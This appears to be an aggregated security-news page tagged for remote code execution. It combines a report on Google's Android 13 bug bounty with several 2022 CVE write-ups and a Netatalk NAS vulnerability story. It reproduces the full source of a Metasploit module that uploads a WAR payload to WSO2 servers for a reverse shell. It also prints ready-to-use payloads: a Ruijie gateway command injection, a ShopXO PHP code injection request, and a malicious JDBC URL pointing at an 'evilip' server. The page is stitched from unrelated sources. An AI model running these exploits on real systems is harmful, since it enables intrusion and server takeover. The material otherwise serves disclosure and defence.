The security vulnerability payout set bug hunters rejoicing, but claiming the reward is much, much easier said than done.

Google has expanded its bug-bounty program to offer a whopping $1.5 million for a top-notch Android 13 Beta exploit – specifically, for a hack of the Titan M security chip that ships with Pixel phones.

Android 13 Beta became available last week to developers and early adopters, with Google promising an outsized focus on privacy and security. It apparently aims to deliver in that department, if the bounty bump is any indication.

The Internet giant announced a 50% bonus for all Android 13 Beta exploits on Twitter and updated its Android program page to reflect the offer, adding an important caveat: "Vulnerabilities must be exclusive to Android 13 and must not reproduce on any other version of Android," it noted.

To take advantage of the largess, bug hunters will need to set off on safari soon: The increased rewards are only good for reports filed before May 27.

**Putting the $1.5M Payout into Context  
**For a sense of perspective on that payout number, it's worth noting that $1.5 million is exponentially larger than the highest-ever bounty for an Android vulnerability, which was paid last year — $157,000 for a critical exploit chain in an unspecified component. It's also half the amount paid out in the entirety of 2021 for Android flaws ($3 million total, across hundreds of exploits), and roughly equal to the sum total of payouts in 2020. So, this is a lot of love for one bug.

That said, the likelihood of seeing a payout that size is a long shot. That's because it would be connected to the last time Google dabbled in big-bucks territory: In 2019, it began offering $1 million to anyone who could hack the Titan M security chip, which is embedded in Google Pixel smartphones. Specifically, it requires a "full chain remote code execution exploit with persistence, which compromises the Titan M secure element on Pixel devices."

But so far, that reward has gone unclaimed. Thus, to reel in the $1.5 million on offer, an ethical hacker would need to not only subvert the never-subverted Titan M, but also make sure the exploit works on Android 13 Beta – and only on Android 13 Beta.

The difficulty scale hasn't deterred some. As one bounty hunter tweeted, "BRB going to sell my soul to the hacker gods to get a full remote code execution exploit chain on the Titan M."

**All Android 13 Beta Exploits Get a Bump  
**Google's other rewards for finding an exploitable security vulnerability in Android are also subject to the 50% bonus for Android 13 Beta. Those run anywhere from $75,000 (for a Device Policy Controller bypass or code execution in a privileged process) to $500,000 (for exfiltrating high-value data secured by Titan M). Most rewards clock in at $250,000.

OEM code (libraries and drivers), Digital Car Keys, kernel, boot-loader, Secure Element code, TrustZone OS and apps, system on chip (SoC), MicroController Unit (MCU), Boot ROM, RAM memory, Flash memory, filesystem, Trusted Execution Environment (TEE), radio units, etc., are all considered eligible targets.

Google Offers $1.5M Bug Bounty for Android 13 Beta

The Import WP WordPress plugin before 2.4.6 does not validate the imported file in some cases, allowing high privilege users such as admin to upload arbitrary files (such as PHP), leading to RCE

CVE-2022-1273

This Metasploit module abuses a vulnerability in certain WSO2 products that allow unrestricted file upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.

    ### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::FileDropper  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'WSO2 Arbitrary File Upload to RCE',        'Description' => %q{          This module abuses a vulnerability in certain WSO2 products that allow unrestricted file          upload with resultant remote code execution. This affects WSO2 API Manager 2.2.0 and          above through 4.0.0; WSO2 Identity Server 5.2.0 and above through 5.11.0; WSO2 Identity Server          Analytics 5.4.0, 5.4.1, 5.5.0, and 5.6.0; WSO2 Identity Server as Key Manager 5.3.0 and above          through 5.10.0; and WSO2 Enterprise Integrator 6.2.0 and above through 6.6.0.        },        'Author' => [          'Orange Tsai', # Discovery          'hakivvi', # analysis and PoC          'wvu', # PoC          'Jack Heysel <jack_heysel[at]rapid7.com>' # Metasploit module        ],        'License' => MSF_LICENSE,        'References' => [          [ 'CVE', '2022-29464'],          [ 'URL', 'https://github.com/hakivvi/CVE-2022-29464' ],          [ 'URL', 'https://twitter.com/wvuuuuuuuuuuuuu/status/1517433974003576833' ],          [ 'URL', 'https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738' ]        ],        'DefaultOptions' => {          'Payload' => 'java/meterpreter/reverse_tcp',          'SSL' => true,          'RPORT' => 9443        },        'Privileged' => false,        'Targets' => [          [            'Java Dropper',            {              'Platform' => 'java',              'Arch' => ARCH_JAVA,              'Type' => :java_dropper,              'DefaultOptions' => {                'WfsDelay' => 10              }            }          ],        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2022-04-01',        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options(      [        OptInt.new('WAR_DEPLOY_DELAY', [true, 'How long to wait for the war file to deploy, in seconds', 20 ]),        OptString.new('TARGETURI', [ true, 'Relative URI of WSO2 product installation', '/'])      ]    )  end  def check    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),      'method' => 'POST'    )    if res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /WSO2/      Exploit::CheckCode::Appears    else      Exploit::CheckCode::Unknown    end  end  def prepare_payload(app_name)    print_status('Preparing payload...')    war_payload = payload.encoded_war.to_s    fname = app_name + '.war'    path_traveral = '../../../../repository/deployment/server/webapps/' + fname    post_data = Rex::MIME::Message.new    post_data.add_part(war_payload,                       'application/octet-stream', 'binary',                       "form-data; name=\"#{path_traveral}\"; filename=\"#{fname}\"")    post_data  end  def upload_payload(post_data)    print_status('Uploading payload...')    res = send_request_cgi(      'uri' => normalize_uri(target_uri.path, 'fileupload', 'toolsAny'),      'method' => 'POST',      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",      'data' => post_data.to_s    )    if res && res.code == 200      print_good('Payload uploaded successfully')    else      fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')    end  end  def execute_payload(app_name)    res = nil    print_status('Executing payload... ')    retry_until_true(timeout: datastore['WAR_DEPLOY_DELAY']) do      print_status('Waiting for shell... ')      res = send_request_cgi(        'uri' => normalize_uri(target_uri.path, app_name),        'method' => 'GET'      )      if res && res.code == 200        break      else        next      end    end    if res && res.code == 200      print_good('Payload executed successfully')    else      fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')    end  end  # Retry the block until it returns a truthy value. Each iteration attempt will  # be performed with expoential backoff. If the timeout period surpasses, false is returned.  def retry_until_true(timeout:)    start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)    ending_time = start_time + timeout    retry_count = 0    while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time      result = yield      return result if result      retry_count += 1      remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)      break if remaining_time_budget <= 0      delay = 2**retry_count      if delay >= remaining_time_budget        delay = remaining_time_budget        vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")      else        vprint_status("Sleeping for #{delay} seconds before attempting again")      end      sleep delay    end  end  def exploit    app_name = Rex::Text.rand_text_alpha(4..7)    data = prepare_payload(app_name)    upload_payload(data)    execute_payload(app_name)  endend

WSO Arbitrary File Upload / Remote Code Execution

RG-NBR-E Enterprise Gateway RG-NBR2100G-E was discovered to contain a remote code execution (RCE) vulnerability via the fileName parameter at /guest_auth/cfg/upLoadCfg.php.

**0x00 **Affected component(s)****

Affected: RG-NBR-E Enterprise Gateway RG-NBR2100G-E
Affected source code file：/guest\_auth/cfg/upLoadCfg.php

**0x01 **Vendor of the product(s)** and **vulnerability type****

https://www.ruijie.com.cn/

Command Execution

**0x02 **Attack vector(s)****

Vulnerability file path ‘/guest\_auth/cfg/upLoadCfg.php’,

the ‘fileName’ parameter passed in is not strictly filtered.

It is directly brought into the command line and bypassed by payload ( | ),

resulting in a command execution vulnerability,

which can obtain server permissions.

**0x03 Suggest**

An issue was discovered in RG-NBR-E Enterprise Gateway RG-NBR2100G-E. There is a Command Execution that can execute any harmful command on the serveron to control the server。

**0x04 **Source code analysis****

path：

/guest\_auth/cfg/upLoadCfg.php

       
     function deleteFile($fileName)
        {
            $cmd = "rm -fr $fileName";
            $res = exec($cmd, $out, $status);
        }

the ‘fileName’ parameter passed in is not strictly filtered.

It is directly brought into the command line and bypassed by payload ( | ),

resulting in a command execution vulnerability.

**Command Execution ：**

**payload：**  

Feasibility of using Ping dnslog for detection：

    http://127.0.0.1:80/guest_auth/cfg/upLoadCfg.php?fileName=|ping p28b5r.dnslog.cn

转载请注明：Adminxe's Blog » Ruijie-NBR has a Command Execution vulnerability

CVE-2022-27982: Ruijie-NBR has a Command Execution vulnerability – Adminxe's Blog

ShopXO v2.2.5 and below was discovered to contain a system re-install vulnerability via the Add function in app/install/controller/Index.php.

Hello, in my code audit process, I found system reinstallation vulnerability in ShopXO 2.2.0-2.2.5, the details are as follows:

In app/install/controller/Index.php file，Add function.

Do not have permission to check visitors, also didn't check whether installed database (check the config/database.php exists

Then the add function resets the original database data and writes the data submitted in the POST to config/database.php, which can be injected into the code, resulting in RCE

Below is the attacked PayLoad

    POST /install.php?s=index/Add.html HTTP/1.1
    Host: xxxx
    User-Agent: xxxx
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    X-Requested-With: XMLHttpRequest
    Referer: http://xxxx/admin.php?s=index/index.html
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 137
    
    DB_TYPE=mysql&DB_HOST=192.168.195.185&DB_PORT=3306&DB_NAME=shopxo&DB_USER=root&DB_PWD=root'.phpinfo().'123&DB_PREFIX=sxo_&DB_CHARSET=utf8mb4
    
    

Then open any page to see the PHPInfo page

CVE-2022-28056: A system reinstall vulnerability was found in ShopXO · Issue #66 · gongfuxiang/shopxo

The package convict before 6.2.2 are vulnerable to Prototype Pollution via the convict function due to missing validation of parentKey. **Note:** This vulnerability derives from an incomplete fix of another [vulnerability](https://security.snyk.io/vuln/SNYK-JS-CONVICT-1062508)

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as _proto_, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

*   Unsafe Object recursive merge
    
*   Property definition by path
    

**Unsafe Object recursive merge**

The logic of a vulnerable recursive merge function follows the following high-level model:

    merge (target, source)
    
      foreach property of source
    if property exists and is an object on both the target and the source
    
      merge(target[property], source[property])
    
    else
    
      target[property] = source[property]
    
    

When the source object contains a property named _proto_ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

**Property definition by path**

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to _proto_.myValue. myValue is then assigned to the prototype of the class of the object.

CVE-2022-22143: Prototype Pollution in convict | CVE-2022-22143 | Snyk

The package dexie before 3.2.2, from 4.0.0-alpha.1 and before 4.0.0-alpha.3 are vulnerable to Prototype Pollution in the Dexie.setByKeyPath(obj, keyPath, value) function which does not properly check the keys being set (like __proto__ or constructor). This can allow an attacker to add/modify properties of the Object.prototype leading to prototype pollution vulnerability. **Note:** This vulnerability can occur in multiple ways, for example when modifying a collection with untrusted user input.

CVE-2022-21189: Prototype Pollution in dexie | CVE-2022-21189 | Snyk

All versions of package dset are vulnerable to Prototype Pollution via 'dset/merge' mode, as the dset function checks for prototype pollution by validating if the top-level path contains __proto__, constructor or protorype. By crafting a malicious object, it is possible to bypass this check and achieve prototype pollution.

CVE-2022-25645: Prototype Pollution in org.webjars.npm:dset | CVE-2022-25645 | Snyk

All versions of package com.bstek.ureport:ureport2-console are vulnerable to Remote Code Execution by connecting to a malicious database server, causing arbitrary file read and deserialization of local gadgets.

**com.bstek.ureport:ureport2-console vulnerabilities****Arbitrary file read&&Remote Code Execution****version**

all

**details**

com.bstek.ureport.console.designer.DatasourceServletAction#testConnection allows to connect to the database server through any jdbc driver.

For example ，

By running a malicious database server, arbitrary file reading and deserialization of local gadgets can be achieved.

Tools

https://github.com/fnmsd/MySQL\_Fake\_Server

modify the config.json

*   add your ysoserial path here

*   then add another user named "Calc"

run server.py

attack using payload of mysql8+

jdbc:mysql://evilip:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor

**rce**

input username that you add in config.json ( "Calc")

**read file**

CVE-2022-25767: CVE-Req/ureport2-console.md at main · JinYiTong/CVE-Req

QNAP and Synology say flaws in the Netatalk fileserver allow remote code execution and information disclosure.

Network attached storage (NAS) device vendors QNAP and Synology this week disclosed multiple critical vulnerabilities in an open source fileserver technology integrated into their products.

The vulnerabilities — several of which enable remote code execution (RCE) — exist in Netatalk, an open source version of Apple File Protocol fileserver for accessing network shares in multiple operating system environments. Both vendors are still working on updating all versions of their products that contain the vulnerability.

**Unpatched for Months**  
Security researchers working in coordination with the Zero Day Initiative (ZDI) reported a total of six vulnerabilities to the maintainers of Netatalk in December. Three of them are critical RCE bugs tied to buffer-overflow issues (CVE-2022-0194; CVE-2022-23122; CVE-2022-23125). Two of the flaws are medium-severity out-of-bounds information-disclosure vulnerabilities (CVE-2022-23124; CVE-2022-23123), and one is a critical RCE issue tied to improper handling of exceptional conditions (CVE-2022-23121).

Brian Gorenc, senior director of vulnerability research and head of ZDI at Trend Micro, tells Dark Reading that all the Netatalk bugs were first discovered at Pwn2Own Austin in November 2021.

Another flaw, a high-severity buffer-overflow related RCE (CVE-2021-31439), was disclosed to Netatalk's maintainers all the way back in March 2021.

The development team at Netatalk released an updated version of the software (Netatalk 3.1.13) on March 23 that addressed all seven of the vulnerabilities. The updated version is available for all currently supported operating systems: FreeBSD, Linux, OpenBSD, NetBSD, and Solaris and derivates.

However, it's a longer timeline for some vendors to roll the patches into their products. ZDI's Gorenc says that because Netatalk is a third-party component used by many NAS vendors, the vendors are responsible for monitoring for releases of Netatalk and integrating these releases into their products. "We are glad to see the NAS vendors updating their Netatalk deployments to resolve the vulnerabilities that were disclosed and fixed at Pwn2Own Austin," he says.

Western Digital is another vendor whose products were impacted by the flaws in Netatalk. But unlike Synology and QNAP, Western Digital proactively removed Netatalk from its products on Jan. 10, 2022, citing concerns over multiple critical vulnerabilities in the technology.

"Because Netatalk is unmaintained, we have removed Netatalk from our firmware released on January 10, 2022," the company announced in March. "Users can continue to access local network shares and perform Time Machine backup via SMB."

**Affected Devices**  
Synology's advisory described the vulnerabilities as critical and allowing remote attackers to steal sensitive data. Bad actors could potentially execute arbitrary code on NAS devices via a vulnerable version of its DiskStation Manager (DSM) and Synology Router Manager (SRM) technologies.

QNAP identified multiple versions of its QTS operating system as being vulnerable and said it is currently investigating the flaws. The company said that it's working on releasing updates to all impacted products, and it urged customers to install the updates as soon as they become available.

The Taiwan-based NAS manufacturer also outlined steps that organizations can take to mitigate the risk posed by the vulnerabilities while it works on fixes. QNAP's advisory identified CVE-2021-31439 — the flaw from last March — as one of the issues that it still needs to address in its products even though it was disclosed more than one year ago.

Both Synology and QNAP did not immediately respond to requests for comment from Dark Reading.

Tag

#rce